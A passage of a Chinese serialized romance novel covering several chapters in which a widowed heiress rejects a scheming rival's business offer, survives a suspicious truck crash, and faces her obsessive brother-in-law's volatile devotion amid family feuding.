苏亦姝接过,脸上露出了久违的轻松笑意。
然而,就在马路对面,一辆黑色的迈巴赫已经停了整整一个小时。
陆慎坐在车里,指尖的烟已经燃到了尽头,烫到了皮肤,他却毫无知觉。
隔着那层玻璃,他死死地盯着苏亦姝脸上的笑容。
那是对他从未有过的轻松。
“陆总,老宅那边传话来,说您的订婚宴……”周轩小心翼翼地开口。
陆慎收回视线,将烟头狠狠按灭在真皮扶手上,留下一个丑陋的焦黑印记。
“订婚宴?谁的订婚宴?”陆慎嗤笑,“这个婚,谁愿意谁订去。周轩,订明天去瑞士的机票。”
“是。”周轩应声。
苏亦姝似乎有感,透过玻璃窗,朝着外面看去。
恰好陆慎的车子缓缓离开,苏亦姝只看到了车尾。
“看什么呢??”方思荷顺着她的目光看过去。
苏亦姝笑笑。“没什么……”
“过几天不就是赵家跟陆家的订婚宴嘛,现在整个江城传的沸沸扬扬,你都不知道,那个赵西双这几天多得意……那嘴脸,我看着都恶心。”方思荷忿忿不平,对赵西双,她就是看着不爽。谁叫她为难自己姐妹呢。
苏亦姝笑笑。
赵西双的得意,她自然猜得到。
只是,跟她无关。
“对了,这段时间,你回陆家老宅了吗?”
“没有……怎么了?”苏亦姝头也不抬的问着。
“没,就是问问。”
这个时候,苏亦姝的手机响了,看到号码,苏亦姝并未去接,而是任由电话震动着……
方思荷凑过身子瞄了眼,悻悻然撇撇嘴,没说话……
第六十二章 裹着蜜糖的**
下午,苏亦姝来到分公司。
她一进公司,海绵立即迎了上来。
神色紧张地说道:“苏总,苏董带人来了?”
苏亦姝脚步一顿,朝着海绵看去。
“谁?”
“赵西双。”
苏亦姝抿着嘴,沉默了一瞬,然后说道:“知道了。”
推开办公室的门,一股淡淡的茶香扑面而来,却掩盖不住空气中那股令人作呕的虚伪气息。
办公室内,苏振东正坐在待客区的沙发上,身体微微前倾,脸上堆满了谄媚的笑容。
而在他对面,赵西双优雅地端着茶杯,一身淡粉色的小香风套装,看起来温婉无害,活脱脱一个知书达理的大家闺秀。
“西双啊,你放心,能跟赵氏合作,是我们苏氏的荣幸。亦姝这孩子虽然脾气倔了点,但在工作上还是有能力的。这次合作,我一定让她全力配合。”
苏振东笑得见牙不见眼,仿佛已经看到了苏氏在赵氏提携下飞黄腾达的景象。
赵西双放下茶杯,嘴角噙着一抹得体的浅笑。
“苏伯父言重了,大家都是一家人。之前因为一些事情,我和亦姝姐之间有些误会。这次合作,我也是想借机缓和一下关系,毕竟……以后我进了陆家的门,还要叫亦姝姐一声大嫂呢。”
这声“大嫂”,听得刚进门的苏亦姝胃里一阵翻涌。
“苏总。”海绵跟在身后,看着里面的场景,有些尴尬。
听到动静,苏振东脸上的谄媚瞬间收敛,转而换上了一副严厉的父亲面孔,转头瞪向苏亦姝。
“怎么才来?让西双等了你半天!一点规矩都没有!”
苏亦姝没理会他的呵斥,径直走到自己的办公桌前,将包随手一扔,发出“啪”的一声轻响。
她没有坐下,而是站在桌子旁倚着,冷冷地看着那边的两人。
“这里是分公司,是办公的地方,不是茶馆。两位要是叙旧,出门左转有咖啡厅。”
“你这是什么态度!”
苏振东一拍桌子,站了起来。。
“西双今天是代表赵氏集团来送合作项目的!这是多少人求都求不来的机会,你还不快过来给西双倒茶赔罪!”
赵西双适时地站起身,走到苏振东身边,柔声劝道:“苏伯父,您别生气。亦姝姐可能还在怪我……没关系的,我能理解。”
说完,她看向苏亦姝,眼神里满是诚恳。
“亦姝姐,这次赵氏准备开发城南那个度假村项目,特意留了设计和建材这一块给苏氏。这可是个十亿的大盘子。伯母也跟我说了,只要这个项目做好了,苏氏在江城的地位就能稳固。只不过,资方那边点名要求,必须由你全权负责。”
苏亦姝看着赵西双那张伪善的脸,心里跟明镜似的。
度假村项目?那是块肥肉不假,但也是个烫手山芋。
让她全权负责,做得好是赵氏领导有方,做得不好,或者中间出点什么“意外”,那所有的黑锅都得扣在她苏亦姝头上。
到时候,不仅苏氏要赔得底掉,她还得背上商业犯罪的罪名。
这种把戏,程丽梅和赵西双还真是玩不腻。
“十亿的项目?”苏亦姝挑眉,似笑非笑,“赵小姐真是大手笔。不过可惜了,我没空。”
“你说什么?!”苏振东瞪大了眼睛,以为自己听错了,“你没空?你知道这是多大的单子吗?苏氏现在刚好转,正需要这样的项目来冲业绩!”
“我说,我没时间,也不感兴趣。”
苏亦姝语气淡漠,随手翻开一份文件,“赵小姐要是真想合作,苏氏总部那边多的是闲人,你可以去找他们。至于我,分公司这边庙小,容不下赵氏这尊大佛。”
“苏亦姝!你反了天了!”苏振东气得冲过来,指着她的鼻子,“我是你老子!更是苏氏的董事长!我命令你接下这个项目!这可是你婆婆亲自牵线的,你是想打陆家的脸吗?”
提到程丽梅,苏振东的底气更足了。他现在一门心思想要攀附上程丽梅和赵家,好让自己的地位更上一层楼。
苏亦姝猛地合上文件,抬眼看向苏振东,目光犀利地扫过去。
“您要是想给苏氏送终,您就自己接,别扯上我。”
“你……”苏振东被怼得哑口无言,脸涨成了猪肝色。
苏亦姝不再看他,而是绕过办公桌,一步步走到赵西双面前。
两人的距离极近。
苏亦姝比赵西双稍微高一点,此刻居高临下地看着她,眼底尽是讥讽。
“赵西双,这里没有外人,别演了,你不累我都替你累
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。”
苏亦姝的声音不大,却透着彻骨的寒意。
“你想用这个项目困住我?还是想在这个项目里动手脚,让我身败名裂?赵西双,我对陆慎没兴趣。所以,你的那些心思,最好收一收。别到时候偷鸡不成蚀把米,把整个赵家都搭进去。”
赵西双脸上的笑容僵了一瞬,眼神也冷了下来,压低声音道:“苏亦姝,你别敬酒不吃吃罚酒。这是伯母给你的最后机会,也是苏氏的机会。你真的要为了那点可怜的自尊,毁了你父亲的心血?”
“心血?”苏亦姝嗤笑一声,瞥了一眼旁边还在气头上的苏振东,“那是他的心血,不是我的。毁了就毁了,关我屁事。”
停顿了下,苏亦姝笑了笑。“赵西双,陆家的门,可不好进。你觉得你的这些把戏,陆慎会不知道?”
赵西双一愣,眼底一缩,染上几分紧张。
“苏亦姝,陆慎是你小叔子。”
“所以呢?”苏亦姝笑着。陆慎确实是她小叔子,是上过床的那种小叔子。“赵西双,你在害怕!所以,这么迫不及待……我等着,看你们的订婚宴!”
说完,她直起身,指着大门,声音清脆有力。
“海绵,送客!以后没有我的预约,闲杂人等一律不准放进来!”
“是!”海绵立刻上前,做了一个“请”的手势,“苏董,赵小姐,请吧。”
苏振东觉得自己的威严被踩在了脚底下,气得浑身发抖。
“好!好!苏亦姝,你行!你等着,我这就召开董事会,撤了你这个分公司总经理的职!我看你还能嚣张到什么时候!”
“随时奉陪。”苏亦姝冷冷回应。
赵西双深深地看了一眼软硬不吃的苏亦姝,没有再纠缠。
她拉住暴怒的苏振东,柔声道:“苏伯父,既然亦姝姐心情不好,我们就先走吧。合作的事……我们回头再聊。”
看着两人离开的背影,苏亦姝眼底的寒意散去,取而代之的是一抹嘲弄。
撤职?
苏振东恐怕还不知道,他手里的那个苏氏集团,现在除了这个名头和一堆即将到期的债务,里子早就被她掏空了。
这时候撤她的职,正好,方便她彻底脱身。
现在看来,赵西双和程丽梅还盯着她这边……
第六十三章 老娘不要了
陆家老宅。
赵西双坐在程丽梅对面,纤细的手指捏着白瓷茶杯,摩擦着杯壁。
她垂着眸,声音里带着三分委屈、七分无奈。
“伯母,对不起,是我没用。我本想着借着城南度假村的项目,能缓和和亦姝姐的关系,也能让亦姝姐和苏伯父重归于好,还能帮苏氏更进一步,可亦姝姐她……她似乎对我成见很深。”
“她那是对你有成见吗?她那是根本没把我放在眼里!”
程丽梅重重地将茶盏摔在桌上,保养得宜的脸上满是阴鸷。
“现在有了老爷子给她撑腰,她真是翅膀硬了,连送上门的生意都敢往外推。我看她是存心想给你难堪,也间接地打我的脸!”
赵西双适时地叹了口气。
“亦姝姐现在深得爷爷信任,想必是有自己的成算吧。只是苦了伯母您,一心为她着想,却被当成了驴肝肺。”
程丽梅冷哼一声,看着赵西双那副懂事的样子,脸色稍霁。
“还是你贴心。行了,今儿个是老宅聚餐的日子,你就留下来一起吃,阿慎一会儿也该回来了。”
听到“阿慎”两个字,赵西双眼底掠过一抹渴望,矜持地点了点头。
傍晚时分,陆家众人陆续齐聚客厅。
二房的陆子谦夫妇正陪着老爷子说话,陆域坐在一旁的单人沙发上,漫不经心地玩着手中的打火机,金属盖扣合的声音在寂静的客厅里显得格外突兀。
赵西双环视一圈,主位空着,那是陆慎的位置,而苏亦姝也没出现。
一种不安的预感在她心头蔓延。
“怎么亦姝姐还没到?”赵西双似是无意地开口,语气关切,“阿慎也没回来,这两人倒是默契,连迟到都选在同一个时间,还真是巧呢。”
这话声量不大,却像是一枚石子投进了平静的湖面。
客厅内的气氛瞬间变得微妙。
众人不禁想起那天家宴后,陆慎为了苏亦姝在大厅发疯、甚至踹翻瓷瓶的模样。
那哪是小叔子对嫂子的态度?那分明是疯狗护食的架势。
柯沁掩嘴一笑,眼神里闪烁着八卦的光。
“是啊,西双不说我还没注意,这亦姝和阿慎,最近确实走得近了些。这不知道的,还以为有什么要紧事非要两人私下里办呢。”
“咳!”陆子谦瞪了妻子一眼,示意老爷子还在场。
陆域停下了手中的打火机,掀起眼帘,嘴角勾起一抹玩味的弧度,看向赵西双。
“赵小姐这话,还真是让人忍不住多想呢。大嫂最近忙着苏氏那堆烂摊子,晚到会儿也是有的。至于老三——”
他顿了顿,目光在赵西双僵硬的脸上扫过,语带讥讽。
“赵小姐身为老三的未婚妻,未婚夫去了哪儿,难道还要问我们这些旁人?看来,你们这两口子,还有待加强啊。”
赵西双的脸色瞬间青一阵白一阵,尴尬得无地自容。
大家心里都门清,陆慎根本无心赵西双。
所以这话,打的赵西双脸**响。
程丽梅见不得心仪的准儿媳受辱,立刻出声道:“陆域,怎么跟你弟妹说话呢?西双也是关心家里人。”
“好了。”
一直闭目养神的陆老爷子终于睁开了眼,声音威严,透着不容置疑的力道:“阿慎去国外出差了,为期一周,今晚不会回来。亦姝也不回来!你们要吃就留下,不吃就走,没人留!”
“出差?”
赵西双和程丽梅异口同声,两人皆是一愣。身为亲妈和未婚妻,她们竟然对此一无所知。
柯沁最是藏不住话,惊呼道:“出差?爸,过几天可就是阿慎和西双的订婚宴了,这个节骨眼上去国外,宴会还赶得回来吗?”
客厅内陷入了死一般的寂静。
如果新郎在订婚宴上缺席,那赵西双不仅会成为江城的笑柄,赵家的老脸也会被踩进泥地里。
赵西双的心沉到了谷底,手心里全是冷汗。陆慎是故意的吗?为了躲避这场婚约,他宁愿远走海外?
程丽梅也慌了神,但为了稳住局面,她强撑着笑脸,厉声回绝柯沁。
“胡说什么!阿慎做事向来有分寸,他说能赶回来就一定能赶回来。这次出差是擎天集团的战略布局,老爷子都点头了,轮得到你在这儿操心?
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”
老爷子没接话,只是端起茶杯抿了一口。
他没告诉众人,陆慎走的时候,只留了一句话:“这婚想要订成,除非是苏亦姝亲口说。”
那天过后,他特地把陆慎找到书房。
陆慎跟他坦言,自己对苏亦姝的喜欢。当时老爷子非常震惊以及愤怒。毕竟,这两人的关系,根本容不得有一丝越线。
但是,陆慎却一脸不在意。
说陆钦都**,他能继承陆钦继承人的位置,自然也能继承他的妻子……
当时这话,堵的老爷子是哑口无言。
这就是陆慎的疯劲。
他把全江城的名流、把陆赵两家的颜面、把自己的名声,全部压在了赌桌上,而筹码,只有苏亦姝一个人。
对此,老爷子自然是气愤,又很无奈。
他想过用一些手段来阻止。但是,陆慎看出来了。
立即扬言,若是苏亦姝有任何事情,他陆慎会拉着整个陆家一起下地狱!
老爷子到现在还忘不了当时陆慎的眼神。
他就是一头狼,一头凶残的恶狼。
此时,苏亦姝正跟方思荷坐在酒吧里。
野火酒吧,灯红酒绿,音乐声震动着。
舞池中央,苏亦姝脱掉了那身沉重刻板的职业装,换上了一件墨色露背吊带裙。
随着劲爆的乐曲,她肆意舒展着腰肢,那一头海藻般的卷发在霓虹灯下折射出迷离的光。
“亦姝,你真的放开了?”方思荷端着两杯深水**,在舞池边缘大声喊着。
苏亦姝接过酒杯,仰头一饮而尽,辛辣的酒精顺着喉咙滑下,像是点燃了体内沉睡已久的烈火。
她笑得张扬,眼角那抹原本清冷的泪痣在此刻显得格外妖娆。
“遗产都不要了,还要那块贞节牌坊做什么?”苏亦姝凑到方思荷耳边,声音清亮,“陆家大少奶奶这个身份,爱谁要谁要,老娘不干了!”
她跳得大汗淋漓,仿佛要将过去在陆家压抑的委屈、在程丽梅手下受的窝囊气,全部顺着汗水排出去。
这一刻,她不是谁的**,也不是谁的筹码,她只是苏亦姝。
第六十四章 我是个坏女人
此时,远在**之外的伦敦。
他原本是要去瑞士的,最后临时改签飞来了伦敦。
陆慎坐在奢华的酒店套房内,指尖飞速敲击着平板屏幕。屏幕里,是保镖传回来的现场视频。
视频中的女人,笑得是他从未见过的明亮与放肆。她在那群疯狂的人群中,像是一株带毒的曼陀罗,美得惊心动魄。
陆慎盯着屏幕,下颌线崩得极紧,握着酒杯的手指隐隐用力,似乎是在压抑着什么。
“陆总,要不要让那边的人……”周轩察觉到陆慎身上散发的低气压,试探着问。
“让她玩。”
陆慎突然松开了手,身体向后靠去,发出一声不知是气极还是无奈的轻笑。
他原本以为苏亦姝会因为苏振东出来、又被掌掴而消沉,甚至已经做好了她会自我封闭的心理准备。
可现在看着她活色生香地在舞池里蹦迪,他心里悬着的那根弦竟然松了几分。
“只要不离开江城,只要她还活蹦乱跳的……”
陆慎看着屏幕里苏亦姝仰头喝酒的侧影,眼神暗了暗,声音低沉磁性。
“哪怕她把天捅个窟窿,我陆慎也替她补上。总比死气沉沉地待在那个牢笼里强。”
与此同时,陆家老宅却是另一番景象。
“荒唐!简直是丢尽了我们陆家的脸!”
程丽梅猛地将手机摔在红木茶几上,屏幕里还在播放着苏亦姝跳舞的画面。
“爸,您看看!这就是您护着的孙媳妇!阿钦才走多久?她就跑去那种地方跟人鬼混,穿成那样,还成什么体统!”
程丽梅气得胸口剧烈起伏,手指颤抖着指向窗外,“这要是传出去,外界怎么看我们陆家?”
赵西双坐在旁边,体贴地给程丽梅顺着气,嘴里却说着火上浇油的话。
“伯母,您消消气。亦姝姐可能也是心情不好,毕竟最近苏氏的事情多。只是……这酒吧人多眼杂,万一被那些好事的狗仔拍到,说咱们陆家门风不正,那对擎天恐怕也有影响。”
柯沁在一旁看着热闹,掩唇冷笑。“是啊,亦姝这模样,哪像是在悼念亡夫,倒像是庆祝重获新生呢。”
就在程丽梅准备继续叫骂时,主位上的陆老爷子突然重重地放下手中的茶杯。
“砰”的一声脆响,全场瞬间噤声。
老爷子冷冷地扫了程丽梅一眼,苍老的声音带着威压。
“消停不得了是吗!我看亦姝这孩子是憋太久了,去喝杯酒、跳个舞,怎么就丢了陆家的脸?”
“爸!她可是……”
“她是个活生生的人!”
老爷子截断了程丽梅的话,语气严厉。
“阿钦已经去世了,你还想把她困一辈子?”
老爷子站起身,意有所指地看向程丽梅。
“倒是你,一把年纪了,做出的那些事还不如一个孩子坦荡。只要她没做伤风败俗的事,陆家就还是她的家。”
说完,老爷子拄着拐杖,在管家的搀扶下回了房。
程丽梅站在原地,脸一阵青一阵白,像是被人当众扇了一记响亮的耳光。
赵西双的指甲深深掐进掌心里,心里的嫉妒几乎要溢出来。
凭什么?
她费尽心机讨好陆家每一个人,却换不来老爷子的一分青睐。
午夜,酒吧门口。
苏亦姝拒绝了所有人的搭讪,歪歪扭扭地靠在方思荷肩膀上,笑得眼角带泪。
“思荷,你说,我现在是不是特像个坏女人?”
“坏女人好啊。”方思荷心疼地扶住她,“好女人都命短。亦姝,从今天起,我们就当个坏女人,只为自己活。”
苏亦姝点了点头,正准备上车,一辆黑色的宾利无声地滑到了她们面前。
车窗降下,一名戴着墨镜的黑衣保镖走下来,恭敬地低头。
“苏小姐,三爷交代过,您喝醉了,我送您回别墅休息。”
苏亦姝眯起眼,看着那个熟悉的陆慎的标记,突然凑近保镖,在那冰冷的墨镜上哈了一口气,笑着说:
“告诉陆慎,老娘今天没醉,老娘是……醒了。”
苏亦姝终究没有上那辆黑色宾利。
她推开保镖伸过来的手,拉着方思荷钻进了一辆普通的计程车,消失在霓虹尽头。
保镖在原地站了许久,拨通了陆慎的电话,声音微颤。
“三爷,苏小姐没上车,还说……她醒了。”
电话那头陷入了死寂,半晌,才传来陆慎的一声低笑,那笑声里透着让人毛骨悚然的偏执。
“醒了?那就看她能走多远。”
然而,谁也没想到,意外来得如此之快。
计程车行驶在空旷的街道上,正准备经过一个十字路口时,侧方一辆满载石渣的重型货车像是彻底失控,无视红灯,发疯般地横冲直撞而来!
“小心!”方思荷惊恐地尖叫一声。
在千钧一发的生死瞬间,方思荷几乎是出于本能,猛地侧身扑在了苏亦姝的身上,整个人把苏亦姝护住。
“轰——!”
与此同时,一直暗中尾随的那辆陆家保镖车猛地提速,以最快地速度,撞在了货车车头位置,让货车跟计程车之间,偏离了一些位置。
计程车被巨大的惯性掀翻,在地面上滑行了十几米,火星四溅。
苏亦姝整个人浑身疼痛,头晕目眩。
在昏迷的前一秒,看到了很多车子,过来了……警车,消防车,还有救护车……而方思荷,双手死死地抱着她……
伦敦,下午两点。
擎天集团海外分部的会议室内,气氛凝滞。
长
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达十米的红木会议桌两旁,坐满了欧洲金融界的巨头。
陆慎坐在首位,指尖轻点着桌面,那双深邃的眼眸如寒潭般冷冽,正听着英方代表关于跨国并购案的最后报价。
“陆先生,这是我们能给出的最高诚意,如果您还不满意……”
“嗡——”
陆慎放在桌上的手机突然剧烈震动起来。
这个号码是他的私人专线。
陆慎眉头微蹙,在众目睽睽下接起了电话。
“说。”
“三爷……出事了。苏小姐遭遇车祸,对方是重型货车,现场发生了连环撞击。方小姐为了护住苏小姐受了重伤,苏小姐……陷入昏迷,正在紧急送往医院。”
电话那头,保镖的声音带着剧烈的喘息和惊恐。
“啪”的一声!
陆慎手中的金笔被他生生折断,墨水溅了一手,乌黑粘稠,像极了某种不祥的预感。
方才还运筹帷幄、冷静如冰的男人,此刻周身爆发出毁天、灭地的戾气,那股杀意让在场身经百战的CEO们都本能地后退了半步。
“陆先生,我们的谈判……”英方代表愕然起身。
“滚。”
陆慎丢下一个冷冰冰的字,看都没看那份价值千亿的合同一眼,大步流星地走出会议室。
“周轩,准备私人飞机,现在,立刻。”
陆慎一边走一边脱掉西装外套,随手扔在地上,脚步快得惊人,
“通知江城中心医院,动用所有顶级专家。如果苏亦姝又任何闪失,我要整个医院陪葬。”
“是!”周轩在身后一路小跑,冷汗直流,“三爷,那这边的合作……”
“你安排人接手继续跟进”陆慎猛地停住脚步。
转过头,眼神赤红如血,“查!给我查!彻查那辆货车司机!”
十个小时后,私人飞机降落在江城深夜的细雨中。
陆慎几乎是冲进医院。走廊里的灯光惨白,刺鼻的消毒水味让他心头的躁郁达到了顶点。
“苏亦姝在哪?”
守在手术室外的保镖见到陆慎,吓得噗通一声跪在地上。
“三爷……苏小姐刚转入重症监护室还在昏迷中。左手……左手骨裂严重,头部受到剧烈震荡。方小姐伤得更重,现在还在里面抢救。”
陆慎立即换了一身衣服进ICU,看到病床上那个被包扎得像个残缺瓷娃娃的女人时,他整个人竟然有些颤抖,还有心慌。
苏亦姝苍白着脸,双眼紧闭,左手上缠着厚厚的石膏,原本灵动鲜活的女人,此刻安静得让人心慌。
陆慎坐在床边,修长的手指颤抖着抚上她额头的纱布,声音沙哑得几乎听不出原音。
“苏亦姝,你不是说你醒了吗?醒了就是为了把自己弄成这副样子,来气我?”
第六十五章 偏执,都是我陆家人
陆慎独自坐在ICU冰冷的病床前,这是他第二次在苏亦姝面前,如此卑微,脱掉自己所有的防御和攻击。
第一次是苏亦姝跟他说分手的那个雨夜。
陆慎握着苏亦姝那只没有受伤的右手,贴在自己的额头,眼眶红得几乎要滴出血来。
“苏亦姝,你赢了……你不是说你醒了吗?只要你睁开眼,我以后都不逼你了,好不好?”
他的声音嘶哑颤抖,带着一种近、乎绝望的乞求。
在这一刻,他不是那个令人闻风丧胆的商场活阎王陆慎,而是一个弄丢了失而复得的珍宝,却只能眼睁睁看着它破碎的落魄者。
直到那冰冷的掌心微微有了些许回温,陆慎才深吸一口气,敛去眼底的湿润,恢复了平日里的冷硬,推门走出了病房。
走廊里,周轩正等在那里。
“陆总,调查结果出来了。司机叫王强,没有任何不良记录和负债,初步定性为疲劳驾驶引发的意外。”
陆慎冷嗤一声,眼神阴鸷得令人胆寒。
“疲劳驾驶?正好在苏亦姝的车经过时疲劳?正好在监控坏掉的路段疲劳?周轩,你跟了我这么多年,也信这种鬼话?”
“属下明白,已经让人去翻他家祖宗三代的关系网了。”
就在这时,一阵杂乱的脚步声从走廊尽头传来。
陆老爷子走在最前面,身后跟着程丽梅、二房夫妇以及赵西双。看到陆慎竟然出现在医院,老爷子的脸色瞬间沉了下来。
“阿慎?你不是在国外出差吗?怎么会在这里!”老爷子重重地顿了一下拐杖,满脸不悦。
为了一个苏亦姝,他竟然连千亿的项目都说丢就丢!
陆慎没说话,只是冷冷地扫了一眼众人。
那目光像是一柄浸过冰水的薄刃,最后停在了赵西双身上,惊得后者下意识地抓紧了手里的包包。
“大嫂出事,我身为陆家人,回来也是应当的。”陆慎声音没起伏,却透着一股压迫感。
“哎哟,我的好女儿啊!怎么就出了这种事!”
苏振东人还没到,声音先传了过来。
他一路小跑,脸上挂着极力挤出的急切和担忧。“陆老,陆总,亦姝怎么样了?我这刚听到消息心都要碎了……”
苏振东原本是不想来的,但在得知陆慎提前回国且就在医院后,他几乎是连滚带爬地跑了过来,生怕错过在陆慎面前表现的机会。
就在这几方人马对峙之时,电梯门再次打开。
方家的人到了。
方父方母脸色苍白,而走在最前面的方华睿,温润的面庞上此刻满是肃杀之气。
方华睿径直走到陆慎面前,完全无视了陆老爷子的存在。
“陆总,思荷和亦姝的车,是在你们陆家人的眼皮子底下出的事。而且这件事,绝非偶然!”
陆慎抬眸,两个同样出众的男人在走廊里对视,空气中仿佛有火花四溅。
“方少放心,这笔账,我会亲自算。”陆慎开口,字字如冰。
赵西双站在程丽梅身后,看着眼前这一幕,心跳如擂鼓。
她本以为苏亦姝死在外面一了百了,却没想到陆慎居然疯到了这种地步,竟然连夜赶回来。
更让她不安的是,陆慎刚才看她的那个眼神。
医院走廊里的寒意并未因人群的**而消减,反而因为各怀鬼胎的对峙显得更加刺骨。
陆慎笔直地站在ICU门口,像是一座推不倒的山。
程丽梅看着他满眼血丝、守着一个寡嫂不放的样子,压抑了一晚上的火气终于窜了上来。
“阿慎,你看看你现在像什么样子!”
程丽梅走上前,语气带着刻薄的教训,“你才从国外回来,你现在该回老宅休息,准备过两天订婚的仪式。苏亦姝躺在那,有护士有医生,你在这儿守着算怎么回事?她是你的大嫂!”
“大嫂”两个字,被程丽梅咬得极重,像是要在陆慎面前划开一道不可逾越的鸿沟。
陆慎缓缓转头,那双漆黑的眸子盯着程丽梅,瞳孔里布满了阴鸷的戾气。
他嘴角勾起一抹残忍的弧度,声音压得很低,却让在场所有人都不寒而栗。
“那又如何?”
陆慎跨出一步,逼近程丽梅,“我劝你收起那些心思。还是说,你想程家彻底在江城消失?”
程丽梅呼吸一滞,脸色瞬间变得惨白。
她知道陆慎疯,却没想到他已经疯到可以为了那个女人,当众威胁自己的亲生母亲。
“你……你这个逆子!”程丽梅气得浑身发抖,转头看向陆老爷子,“爸!您看看他,他这是中邪了!”
陆老爷子此时神色沉重。
他当然知道陆慎的心思,更知道此刻的陆慎就像一头濒临失控的野兽,谁拦谁死。
“够了。”
老爷子闭了闭眼,声音透着疲惫与无奈,“既然他想守,就让他守着吧。长嫂如母,他在这里尽份心,谁也说不出什么。”
老爷子这话,虽是妥协,却也
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给了陆家颜面一个台阶。
赵西双站在一旁,紧了紧手。
她深吸一口气,做出一副温婉大方的模样,走上前,轻声细语地说道:“阿慎,伯母也是担心你的身体。要不,我留下来陪你一起守着亦姝姐?两个人总比一个人要好。”
她试图表现出未来女主人的气度,然而话音未落,陆慎的讥讽便如利刃般划过。
“赵西双。”陆慎微微侧头,眼神里是不加掩饰的厌恶,“你是不是演戏演上瘾了?真把自己当成我陆慎的未婚妻了?”
这话,如同一个响亮的耳光,当着陆家所有人、苏家甚至方家人的面,狠狠扇在了赵西双的脸上。
赵西双的笑容瞬间僵在脸上,眼眶迅速红了起来,难堪到了极点。
“阿慎!你怎么说话呢!”
程丽梅见爱徒受辱,气得拉住赵西双的手,“西双,我们走!让他在这儿守,我看他能守出个什么花来!”
程丽梅强拽着赵西双离开。苏振东见风头不对,也讪笑着跟在陆家人身后溜了。
原本嘈杂的走廊瞬间安静了下来。
只剩下陆慎,和一直站在不远处冷眼旁观的方华睿。
方华睿等陆家人走远,才慢慢踱步到陆慎面前。
他的目光掠过ICU的玻璃窗,看向里面依旧昏迷的两人。
“陆总,你是不是已经猜到谁动的手了?”方华睿声音冷冽。
陆慎眯起眼:“方家查到了什么?”
方华睿从怀里掏出一张照片递了过去,照片上是那辆大货车的残骸细节,以及一个模糊的标志。
“司机虽然没背景,但这辆车在出事前,曾在苏氏集团名下的一个废弃工厂停靠过三个小时。”
方华睿冷笑一声,“更巧的是,我让人截获了一段信号,事故发生前半小时,司机接到过一个加密电话,电话那头……指向的是陆家老宅的位置。”
陆慎接过照片,手指猛地收紧,纸张在他指尖发出不堪重负的碎裂声。
方华睿看着陆慎,语气充满了挑衅,“陆总,这就是你给亦姝的‘保护’?如果这代价是要她的命,那这个陆家,她不待也罢。”
他知道对方不是冲着自己妹妹来的。自己妹妹今晚,完全就是受到牵连。这让他心底有些无奈,更多的是愤怒。
陆慎沉默着,周身的寒气却越来越浓郁。
“方华睿!待不待陆家,轮不到你来指手画脚!苏亦姝,不管是生还是死,都是我陆家的人!”
第六十六章 意外?你当我蠢?
苏亦姝是在两天后醒来。
醒来第一眼,便看到陆慎坐在床边,胡须渐起,双眼夹杂着血丝。
苏亦姝眼眸微微一怔,脑子还未完全清醒。
紧接着,那天晚上的车祸情形,在脑子里接踵而来。
不知道是被吓到了,还是如何,脸上带着惊魂未定的恐惧,让她眉头紧蹙。
原本正在手机上处理工作的陆慎,朝着床上的人儿看去,见她醒来,顿时欣喜。
“苏亦姝,你醒了?”仔细听,嗓音中带着颤音。
见她皱着眉头,神色痛苦,欣喜的心情骤然一紧。“怎么了?是不是哪里不舒服?”
不等苏亦姝回答,陆慎大声地朝着外面喊道:“医生,医生,她醒了!”
没多久,医护人员到达。
陆慎站在一旁,看着医生给苏亦姝做检查。
医护人员鱼贯而入,仪器发出的滴答声在寂静的病房里显得格外刺耳。
陆慎被挤到了病床外围,他那双布满血丝的眼睛一刻也不敢离开苏亦姝。
直到主治医生放下听诊器,对他微微点头。
“陆总,少夫人醒过来就是好事,目前各项指标还算平稳,但她身上多处骨折,内脏也有轻微挤压,这段时间绝对不能乱动,更不能受刺激。”
陆慎那颗悬在嗓子眼的心总算落回了一半。
他挥退了医生,快步走到床前,小心翼翼地握住苏亦姝那只没打石膏的手,声音沙哑得不像话。
“没事了,亦姝,我在。”
苏亦姝涣散的瞳孔渐渐聚焦。
她看着天花板,又看了看自己被固定得严严实实的左手,昏迷前那惨烈的一幕像走马灯一样在脑中回放。
大货车的强光、刺耳的刹车声、还有……那个温热的怀抱。
“思荷呢?”苏亦姝费力地开口,声音微弱如蚊蝇,却带着一丝颤抖的急切。
陆慎握着她的手僵了瞬。
他本想瞒一瞒,但对上苏亦姝那双仿佛能看透人心的清冷眸子,他知道瞒不住。
“她在隔壁重症监护室。”
陆慎垂下眼帘,语气沉重,“她伤得比你重,撞击时她全身心都在护着你,后背受创严重,现在……还没醒。”
晶莹的泪水瞬间夺眶而出,顺着苏亦姝苍白的脸颊滑入枕头。
她想抬手捂住眼睛,可稍微一动,浑身就像被千万根钢针扎过一般剧痛。
“她是傻子吗……”苏亦姝哽咽着,心像是被人徒手撕开了一个口子。
这世界上唯一的温暖,为了救她,现在生死未卜。
陆慎看着她哭,心疼得几乎窒息。
他笨拙地用指腹擦去她的眼泪,低声哄着:“别哭,我已经调了最好的专家守着她,方家那边我也打过招呼了,她会没事的,相信我。”
苏亦姝止住哭声,喘息着平复了一下情绪。她没忘记昏迷前那一瞬,有一辆车横插出来撞开了大货车。
“最后撞开货车的那辆车,是你的?”
陆慎点头,眼神里流露出劫后余生的庆幸。
“是我留在那守着你的保镖。亦姝,我真的很庆幸我没听你的,让人在那跟着你……否则,那一撞,计程车会被直接压进货车底盘下面。”
苏亦姝呆呆地望着天花板,眼神空洞而绝望。
“为什么?”她突然问,“那辆货车,为什么会直接撞向我?那天晚上路面很空,他没理由不避开。”
陆慎的眼神飞速闪烁了一下。
“交警查过了,司机王强是由于长时间疲劳驾驶,导致操作失误,货车在路口失控侧翻才撞上去的。”
陆慎尽量让自己的语气听起来平静且公事公办,“只是个不幸的意外。”
“意外?”
苏亦姝突然笑了。
那笑容苍白、凄凉,却又带着说不出的讽刺。她微微侧过头,直视着陆慎那双深邃的眼,每个字都像是从牙缝里挤出来的。
“陆慎,你撒谎的时候,眼神从来不敢正视我。疲劳驾驶?操作失误?你觉得……我是被撞坏了脑子,还是天生就是个蠢货,会相信这种哄三岁小孩的说辞?”
陆慎的面色瞬间阴沉下来,他试图解释:“亦姝,这件事我会查清楚……”
“查清楚?”苏亦姝的情绪陡然失控,她剧烈地挣扎了一下,却被牵动了全身的伤口,疼得冷汗直冒,“陆慎,你出去!”
“苏亦姝,你冷静一点!”陆慎按住她的肩膀,生怕她撕裂伤口。
“我让你出去!滚啊!”苏亦姝歇斯底里地大吼一声,声音因为极度的愤怒而变得尖锐。
吼完这一声,她像是耗
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尽了全身的力气,胸口剧烈起伏,随即爆发出阵阵撕心裂肺的咳嗽,惨白的脸上浮现出一抹诡异的潮红。
“医生!医生进来!”陆慎吓得大喊。
